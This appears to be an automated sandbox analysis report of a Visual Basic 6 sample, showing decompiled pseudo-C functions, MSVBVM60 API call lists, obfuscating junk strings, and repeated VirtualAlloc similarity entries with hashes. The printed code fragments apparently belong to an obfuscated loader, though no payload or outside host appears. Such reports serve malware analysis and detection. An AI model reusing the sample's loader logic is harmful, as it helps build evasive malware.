        • String ID: *Ba$<cA$@'o$Breams4$Corsite$DOMICILET$DUNITE$KONSULENTTJENESTE$L\!$Oprejsningsbevillingernes7$Ultraofficious4$flagellariaceous$guts$kaktusplanten$polyplegic
        • API String ID: 686690730-1354751722
        • Opcode ID: 4c934f5aa99082a00233cefb2ff0d6ef0a76cf01a41d7596a430b1bd93ea1d7d
        • Instruction ID: 85bd397469ad387196548509acf252e9b52b7cfb1202fa223c33f854be76bc2d
        • Opcode Fuzzy Hash: 4c934f5aa99082a00233cefb2ff0d6ef0a76cf01a41d7596a430b1bd93ea1d7d
        • Instruction Fuzzy Hash: 801306719402189FDB21DF90CC49BDDBBB4BB08304F1044EAE54ABB2A1DBB99AC5DF54
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 46%
        			E004122BD(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				void* _v36;
        				signed int _v48;
        				char _v52;
        				char _v56;
        				char _v60;
        				char _v64;
        				intOrPtr _v72;
        				intOrPtr _v80;
        				intOrPtr _v88;
        				intOrPtr _v96;
        				intOrPtr _v104;
        				intOrPtr _v112;
        				intOrPtr _v120;
        				intOrPtr _v128;
        				intOrPtr _v136;
        				intOrPtr _v144;
        				char _v148;
        				char _v152;
        				void* _v156;
        				signed int _v160;
        				intOrPtr* _v164;
        				signed int _v168;
        				intOrPtr* _v172;
        				signed int _v176;
        				intOrPtr* _v180;
        				signed int _v184;
        				signed int _v192;
        				intOrPtr* _v196;
        				signed int _v200;
        				intOrPtr* _v204;
        				signed int _v208;
        				intOrPtr* _v212;
        				signed int _v216;
        				char _v220;
        				signed int _v224;
        				signed int _t111;
        				char* _t115;
        				char* _t119;
        				signed int _t123;
        				char* _t127;
        				signed int _t131;
        				char* _t135;
        				signed int _t139;
        				signed int _t154;
        				intOrPtr _t192;
        
        				_push(0x401226);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t192;
        				L00401220();
        				_v12 = _t192;
        				_v8 = 0x4011f0;
        				L0040132E();
        				_v88 = 0x80020004;
        				_v96 = 0xa;
        				_t111 = 0x10;
        				L00401220();
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				_push(L"DIPLOMET");
        				_push(L"kvindesager");
        				_push(L"SALMONS"); // executed
        				L004012C8(); // executed
        				L00401370();
        				_push(0xcc);
        				_push(0);
        				L00401376();
        				asm("sbb eax, eax");
        				_v156 =  ~( ~( ~_t111));
        				L00401364();
        				_t115 = _v156;
        				if(_t115 != 0) {
        					if( *0x416010 != 0) {
        						_v196 = 0x416010;
        					} else {
        						_push("@'o");
        						_push(0x402110);
        						L00401358();
        						_v196 = 0x416010;
        					}
        					_t119 =  &_v52;
        					L0040135E();
        					_v156 = _t119;
        					_t123 =  *((intOrPtr*)( *_v156 + 0xe8))(_v156,  &_v48, _t119,  *((intOrPtr*)( *((intOrPtr*)( *_v196)) + 0x318))( *_v196));
        					asm("fclex");
        					_v160 = _t123;
        					if(_v160 >= 0) {
        						_v200 = _v200 & 0x00000000;
        					} else {
        						_push(0xe8);
        						_push(0x402b78);
        						_push(_v156);
        						_push(_v160);
        						L00401352();
        						_v200 = _t123;
        					}
        					if( *0x416010 != 0) {
        						_v204 = 0x416010;
        					} else {
        						_push("@'o");
        						_push(0x402110);
        						L00401358();
        						_v204 = 0x416010;
        					}
        					_t127 =  &_v56;
        					L0040135E();
        					_v164 = _t127;
        					_t131 =  *((intOrPtr*)( *_v164 + 0x58))(_v164,  &_v148, _t127,  *((intOrPtr*)( *((intOrPtr*)( *_v204)) + 0x318))( *_v204));
        					asm("fclex");
        					_v168 = _t131;
        					if(_v168 >= 0) {
        						_v208 = _v208 & 0x00000000;
        					} else {
        						_push(0x58);
        						_push(0x402b78);
        						_push(_v164);
        						_push(_v168);
        						L00401352();
        						_v208 = _t131;
        					}
        					if( *0x416010 != 0) {
        						_v212 = 0x416010;
        					} else {
        						_push("@'o");
        						_push(0x402110);
        						L00401358();
        						_v212 = 0x416010;
        					}
        					_t135 =  &_v60;
        					L0040135E();
        					_v172 = _t135;
        					_t139 =  *((intOrPtr*)( *_v172 + 0x60))(_v172,  &_v152, _t135,  *((intOrPtr*)( *((intOrPtr*)( *_v212)) + 0x314))( *_v212));
        					asm("fclex");
        					_v176 = _t139;
        					if(_v176 >= 0) {
        						_v216 = _v216 & 0x00000000;
        					} else {
        						_push(0x60);
        						_push(0x402b78);
        						_push(_v172);
        						_push(_v176);
        						L00401352();
        						_v216 = _t139;
        					}
        					if( *0x41633c != 0) {
        						_v220 = 0x41633c;
        					} else {
        						_push(0x41633c);
        						_push(0x402bb8);
        						L00401358();
        						_v220 = 0x41633c;
        					}
        					_t68 =  &_v220; // 0x41633c
        					_v180 =  *((intOrPtr*)( *_t68));
        					_v136 = _v152;
        					_v144 = 3;
        					_v120 = 0x5344bd;
        					_v128 = 3;
        					_v104 = 0x18;
        					_v112 = 2;
        					_v88 = _v148;
        					_v96 = 3;
        					_v192 = _v48;
        					_v48 = _v48 & 0x00000000;
        					_v72 = _v192;
        					_v80 = 8;
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_t154 =  *((intOrPtr*)( *_v180 + 0x44))(_v180, 0x10, 0x10, 0x10, 0x10, 0x10,  &_v64);
        					asm("fclex");
        					_v184 = _t154;
        					if(_v184 >= 0) {
        						_v224 = _v224 & 0x00000000;
        					} else {
        						_push(0x44);
        						_push(0x402ba8);
        						_push(_v180);
        						_push(_v184);
        						L00401352();
        						_v224 = _t154;
        					}
        					_push( &_v64);
        					_push( &_v60);
        					_push( &_v56);
        					_t115 =  &_v52;
        					_push(_t115);
        					_push(4);
        					L0040134C();
        					L00401346();
        				}
        				asm("wait");
        				_push(0x4126f8);
        				L00401346();
        				return _t115;
        			}


















































        0x004122c2
        0x004122cd
        0x004122ce
        0x004122da
        0x004122e2
        0x004122e5
        0x004122f2
        0x004122f7
        0x004122fe
        0x00412307
        0x00412308
        0x00412312
        0x00412313
        0x00412314
        0x00412315
        0x00412316
        0x0041231b
        0x00412320
        0x00412325
        0x0041232f
        0x00412334
        0x00412335
        0x00412337
        0x0041233e
        0x00412344
        0x0041234e
        0x00412353
        0x0041235c
        0x00412369
        0x00412386
        0x0041236b
        0x0041236b
        0x00412370
        0x00412375
        0x0041237a
        0x0041237a
        0x004123aa
        0x004123ae
        0x004123b3
        0x004123cb
        0x004123d1
        0x004123d3
        0x004123e0
        0x00412405
        0x004123e2
        0x004123e2
        0x004123e7
        0x004123ec
        0x004123f2
        0x004123f8
        0x004123fd
        0x004123fd
        0x00412413
        0x00412430
        0x00412415
        0x00412415
        0x0041241a
        0x0041241f
        0x00412424
        0x00412424
        0x00412454
        0x00412458
        0x0041245d
        0x00412478
        0x0041247b
        0x0041247d
        0x0041248a
        0x004124ac
        0x0041248c
        0x0041248c
        0x0041248e
        0x00412493
        0x00412499
        0x0041249f
        0x004124a4
        0x004124a4
        0x004124ba
        0x004124d7
        0x004124bc
        0x004124bc
        0x004124c1
        0x004124c6
        0x004124cb
        0x004124cb
        0x004124fb
        0x004124ff
        0x00412504
        0x0041251f
        0x00412522
        0x00412524
        0x00412531
        0x00412553
        0x00412533
        0x00412533
        0x00412535
        0x0041253a
        0x00412540
        0x00412546
        0x0041254b
        0x0041254b
        0x00412561
        0x0041257e
        0x00412563
        0x00412563
        0x00412568
        0x0041256d
        0x00412572
        0x00412572
        0x00412588
        0x00412590
        0x0041259c
        0x004125a2
        0x004125ac
        0x004125b3
        0x004125ba
        0x004125c1
        0x004125ce
        0x004125d1
        0x004125db
        0x004125e1
        0x004125eb
        0x004125ee
        0x004125fc
        0x00412609
        0x0041260a
        0x0041260b
        0x0041260c
        0x00412610
        0x0041261a
        0x0041261b
        0x0041261c
        0x0041261d
        0x00412621
        0x0041262b
        0x0041262c
        0x0041262d
        0x0041262e
        0x00412632
        0x0041263c
        0x0041263d
        0x0041263e
        0x0041263f
        0x00412643
        0x0041264d
        0x0041264e
        0x0041264f
        0x00412650
        0x0041265f
        0x00412662
        0x00412664
        0x00412671
        0x00412693
        0x00412673
        0x00412673
        0x00412675
        0x0041267a
        0x00412680
        0x00412686
        0x0041268b
        0x0041268b
        0x0041269d
        0x004126a1
        0x004126a5
        0x004126a6
        0x004126a9
        0x004126aa
        0x004126ac
        0x004126b7
        0x004126b7
        0x004126bc
        0x004126bd
        0x004126f2
        0x004126f7

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 004122DA
        • __vbaVarDup.MSVBVM60(?,?,?,?,00401226), ref: 004122F2
        • __vbaChkstk.MSVBVM60 ref: 00412308
        • #689.MSVBVM60(SALMONS,kvindesager,DIPLOMET), ref: 00412325
        • __vbaStrMove.MSVBVM60(SALMONS,kvindesager,DIPLOMET), ref: 0041232F
        • __vbaStrCmp.MSVBVM60(00000000,00000000,SALMONS,kvindesager,DIPLOMET), ref: 00412337
        • __vbaFreeStr.MSVBVM60(00000000,00000000,SALMONS,kvindesager,DIPLOMET), ref: 0041234E
        • __vbaNew2.MSVBVM60(00402110,@'o,00000000,00000000,SALMONS,kvindesager,DIPLOMET), ref: 00412375
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 004123AE
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,000000E8), ref: 004123F8
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 0041241F
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00412458
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000058), ref: 0041249F
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 004124C6
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 004124FF
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000060), ref: 00412546
        • __vbaNew2.MSVBVM60(00402BB8,0041633C), ref: 0041256D
        • __vbaChkstk.MSVBVM60(?), ref: 004125FC
        • __vbaChkstk.MSVBVM60(?), ref: 00412610
        • __vbaChkstk.MSVBVM60(?), ref: 00412621
        • __vbaChkstk.MSVBVM60(?), ref: 00412632
        • __vbaChkstk.MSVBVM60(?), ref: 00412643
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BA8,00000044), ref: 00412686
        • __vbaFreeObjList.MSVBVM60(00000004,?,?,?,?), ref: 004126AC
        • __vbaFreeVar.MSVBVM60 ref: 004126B7
        • __vbaFreeVar.MSVBVM60(004126F8,00000000,00000000,SALMONS,kvindesager,DIPLOMET), ref: 004126F2
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Chkstk$CheckFreeHresultNew2$#689ListMove
        • String ID: <cA$@'o$DIPLOMET$SALMONS$kvindesager
        • API String ID: 1217911116-1890937599
        • Opcode ID: 736c9f50c116edaab07b1c5e8037becc1a70f85eab0d191642dc74fa769ac2ab
        • Instruction ID: 8b2082f4c56d43e77717c144cea82d0391c2f4d61452400bebec465b0d36ce26
        • Opcode Fuzzy Hash: 736c9f50c116edaab07b1c5e8037becc1a70f85eab0d191642dc74fa769ac2ab
        • Instruction Fuzzy Hash: 1FB12870A00218EFDB20DFA5CD45BDDB7B5BF09704F1084AAE509BB291CBB95A84CF19
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 48%
        			E00411A63(void* __ebx, void* __ecx, void* __edi, void* __esi) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				char _v36;
        				char _v52;
        				char* _v76;
        				intOrPtr _v84;
        				intOrPtr _v92;
        				char _v100;
        				short _v104;
        				short _t30;
        				char* _t33;
        				intOrPtr _t47;
        
        				_push(0x401226);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t47;
        				_push(0x58);
        				L00401220();
        				_v12 = _t47;
        				_v8 = 0x401190;
        				_v76 = L"6:6:6";
        				_v84 = 8;
        				L0040132E();
        				_push( &_v36);
        				_push( &_v52); // executed
        				L00401304(); // executed
        				_v92 = 6;
        				_v100 = 0x8002;
        				_push( &_v52);
        				_t30 =  &_v100;
        				_push(_t30);
        				L0040130A();
        				_v104 = _t30;
        				_push( &_v52);
        				_push( &_v36);
        				_push(2);
        				L00401328();
        				_t33 = _v104;
        				if(_t33 != 0) {
        					_v76 = L"anglicisation";
        					_v84 = 8;
        					L0040132E();
        					_push( &_v36);
        					_push( &_v52);
        					L004012FE();
        					_push( &_v52);
        					_t33 =  &_v36;
        					_push(_t33);
        					_push(2);
        					L00401328();
        				}
        				_push(0x411b46);
        				return _t33;
        			}















        0x00411a68
        0x00411a73
        0x00411a74
        0x00411a7b
        0x00411a7e
        0x00411a86
        0x00411a89
        0x00411a90
        0x00411a97
        0x00411aa4
        0x00411aac
        0x00411ab0
        0x00411ab1
        0x00411ab6
        0x00411abd
        0x00411ac7
        0x00411ac8
        0x00411acb
        0x00411acc
        0x00411ad1
        0x00411ad8
        0x00411adc
        0x00411add
        0x00411adf
        0x00411ae7
        0x00411aed
        0x00411aef
        0x00411af6
        0x00411b03
        0x00411b0b
        0x00411b0f
        0x00411b10
        0x00411b18
        0x00411b19
        0x00411b1c
        0x00411b1d
        0x00411b1f
        0x00411b24
        0x00411b27
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 00411A7E
        • __vbaVarDup.MSVBVM60 ref: 00411AA4
        • #543.MSVBVM60(?,?), ref: 00411AB1
        • __vbaVarTstNe.MSVBVM60(00008002,?,?,?,?,?), ref: 00411ACC
        • __vbaFreeVarList.MSVBVM60(00000002,?,?,00008002,?,?,?,?,?), ref: 00411ADF
        • __vbaVarDup.MSVBVM60 ref: 00411B03
        • #666.MSVBVM60(?,?), ref: 00411B10
        • __vbaFreeVarList.MSVBVM60(00000002,?,?,?,?), ref: 00411B1F
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$FreeList$#543#666Chkstk
        • String ID: 6:6:6$anglicisation
        • API String ID: 2144927966-1625444541
        • Opcode ID: 958204a8f35ac03c75b0ccc1435b5e9ac0cedd9bea4022d22e1f44ad08bd6b40
        • Instruction ID: 69bfc1906ab57cea1fbef1e16d55682b29f6b584f6bf4e31a8e4487cf8ee828f
        • Opcode Fuzzy Hash: 958204a8f35ac03c75b0ccc1435b5e9ac0cedd9bea4022d22e1f44ad08bd6b40
        • Instruction Fuzzy Hash: 7221E9B281021CAADF01EBD1DD46EEEB7BCFF04704F54452EE505BA590EBB8A5088B65
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: #100
        • String ID: VB5!6&*
        • API String ID: 1341478452-3593831657
        • Opcode ID: 1557e4a51d98a1a3e9c54721ccb005522e44a7c8a58509d304d980f8069a269c
        • Instruction ID: 530ff1573fe1077f0fb545d5b8590103a290b2d84a47fd42426b73f4002e5e71
        • Opcode Fuzzy Hash: 1557e4a51d98a1a3e9c54721ccb005522e44a7c8a58509d304d980f8069a269c
        • Instruction Fuzzy Hash: 9851956154E7C19FD7038B7488695817FB1AE53264B1A42EBD891DF0F3E2AC4C1ACB26
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 2aae88f46187715bae9fefe1f355c691d551e83a7d64a5a785a30a50ccb12c3d
        • Instruction ID: b9e951d5379fe35d997fa54ed9a8990e85a9d685f0b9ecdfef9248baee7955d8
        • Opcode Fuzzy Hash: 2aae88f46187715bae9fefe1f355c691d551e83a7d64a5a785a30a50ccb12c3d
        • Instruction Fuzzy Hash: 85418CE1E2E313C9C728992499904B4216D9A0F7186336A7BC41F7B1C6CA3D6A37794F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 2bcbbaba492531f2013f5b752aff4dff9ed6a6005ce67fb07a439e3613570b78
        • Instruction ID: 2b6c4c661e4ef7f8f1676c0eec85bd15e8b755e1217abeb63a9c9ec83b47b8c5
        • Opcode Fuzzy Hash: 2bcbbaba492531f2013f5b752aff4dff9ed6a6005ce67fb07a439e3613570b78
        • Instruction Fuzzy Hash: 803112E1E6F313C8D62CAA2459909B4206DAA0FB08233797B940F774C7853D6637745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 9229b7515ec3d6c62c8fdbfb3b9e9eafeb0b0c6933dbf78b49b5fb17d065e654
        • Instruction ID: af07394747c6fdb91d5283711c0cf0faeec90a9df9c1f1061487026044f8689f
        • Opcode Fuzzy Hash: 9229b7515ec3d6c62c8fdbfb3b9e9eafeb0b0c6933dbf78b49b5fb17d065e654
        • Instruction Fuzzy Hash: 093115E1E6F313C8D62CA52059A05B4256DAA0FB08233797B940F774C7813E663B755F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 213b373bf90a337af2639382f9b7e795b7ea89d3b5045c5e4180a0800fa3e5b5
        • Instruction ID: 5e0ce66607898bd1257400528f57d805cb0c974bc0c944522db6c6bebfde6a48
        • Opcode Fuzzy Hash: 213b373bf90a337af2639382f9b7e795b7ea89d3b5045c5e4180a0800fa3e5b5
        • Instruction Fuzzy Hash: 543100E1E6F313D8D62CAA2469904B4146DAA0FB08233797B980F774C7813E623B745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 0dafa81f4ff5de1f28e2c3beb726e8b9b817c0deb0cde98d4ddc4118e1209adc
        • Instruction ID: 73563e9c302ea064601469e3d031e330bb07ccb6d512831ddbb2146cbf958fa4
        • Opcode Fuzzy Hash: 0dafa81f4ff5de1f28e2c3beb726e8b9b817c0deb0cde98d4ddc4118e1209adc
        • Instruction Fuzzy Hash: 323103E1E6F313D8D62CA61469904B4146DAA0FB08233797B940F774C7813E623B745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 295dbc64c0f2cf083976fafdd4fd43a35aa5050f49373a2ac022e6fbc593e64a
        • Instruction ID: 9a83d324f33260b05c45d2fd3013a2b008c8470714ff6525c09f3745ea7bb4cb
        • Opcode Fuzzy Hash: 295dbc64c0f2cf083976fafdd4fd43a35aa5050f49373a2ac022e6fbc593e64a
        • Instruction Fuzzy Hash: 9F3112E1E6F313D8D62CAA1069904B4106DAA0FB08233797B984F774C7813E623B745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 7aa83ad00c80dec3666e90b144934e64e63b37dcfdeb10d284506d8483a48b4c
        • Instruction ID: 6ed9a43ccdb66b95e75ca747611ec3758669406d77f06cddbad1916f4a47b4e7
        • Opcode Fuzzy Hash: 7aa83ad00c80dec3666e90b144934e64e63b37dcfdeb10d284506d8483a48b4c
        • Instruction Fuzzy Hash: C73112E1E6F313D8D62CAA1069A04B4106DAA0FB08233797B940F774C7813E623B745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 25648be27036bb35303f83f2cc69ab0d6941ce9d950dd3339925b77a11abf825
        • Instruction ID: cc237e5219f67864ca8047f480cc3b016372a8d06783b659b09f4538c9b4e5bb
        • Opcode Fuzzy Hash: 25648be27036bb35303f83f2cc69ab0d6941ce9d950dd3339925b77a11abf825
        • Instruction Fuzzy Hash: 4F3112E1E6F313D8D62CAA10A9908B4106DAA0FB08233797B944F770C7813E6237745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 61a74b7de4b244c7a4ffaf900fd1514c4786e139edee7363840c6df3f8419606
        • Instruction ID: 3c76b440d69fff02f296957a00c0c3776605765c5288f90d706674674400fdc6
        • Opcode Fuzzy Hash: 61a74b7de4b244c7a4ffaf900fd1514c4786e139edee7363840c6df3f8419606
        • Instruction Fuzzy Hash: 193112E1E6F313D8D62CAA10A9904B4106DAA0FB08233797B940F770C7813E623B745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: c15e94b8a46f6c41ad084968e7fc72d9583e23a50e62f6fe647827b6310ffd8c
        • Instruction ID: be18c0edd99a8d5b2016a2c3d60c9bdc8b3642c57540a25ef184695862b6699d
        • Opcode Fuzzy Hash: c15e94b8a46f6c41ad084968e7fc72d9583e23a50e62f6fe647827b6310ffd8c
        • Instruction Fuzzy Hash: 753112E1E6F313D8D62CAA1069904B4106DAA0FB08233797B940F770C7813E6237745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 25648be27036bb35303f83f2cc69ab0d6941ce9d950dd3339925b77a11abf825
        • Instruction ID: 0e5709febe113337917eed20ad106a20babfd3297de9994d59fa796005b52760
        • Opcode Fuzzy Hash: 25648be27036bb35303f83f2cc69ab0d6941ce9d950dd3339925b77a11abf825
        • Instruction Fuzzy Hash: 3B3112E1E6F313D8D62CAA1069904B4106DAA0FB08233797B940F770C7813E6237745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: c15e94b8a46f6c41ad084968e7fc72d9583e23a50e62f6fe647827b6310ffd8c
        • Instruction ID: f3ea9cbc7f1c4cec3e4a008d65a5c43fe71bb4662ca8b6a139615e23cdd9c1c8
        • Opcode Fuzzy Hash: c15e94b8a46f6c41ad084968e7fc72d9583e23a50e62f6fe647827b6310ffd8c
        • Instruction Fuzzy Hash: 0C3112E1E6F313D8D62CAA1069904B4106DAA0FB08233797B940F770C7813E6237745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 8b53bb64f276b27e21912826abef7fafb4b3d5ba30eb7262dad1a41b78b4d4f2
        • Instruction ID: fb971e97e3f9df5475ba99a937996a20e65f207069ee390cd0eb77aeae2bc790
        • Opcode Fuzzy Hash: 8b53bb64f276b27e21912826abef7fafb4b3d5ba30eb7262dad1a41b78b4d4f2
        • Instruction Fuzzy Hash: 78316AE1EAF213D8D62C952069A09B4241C994FB04233797BE40F770C7853EA637B49F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
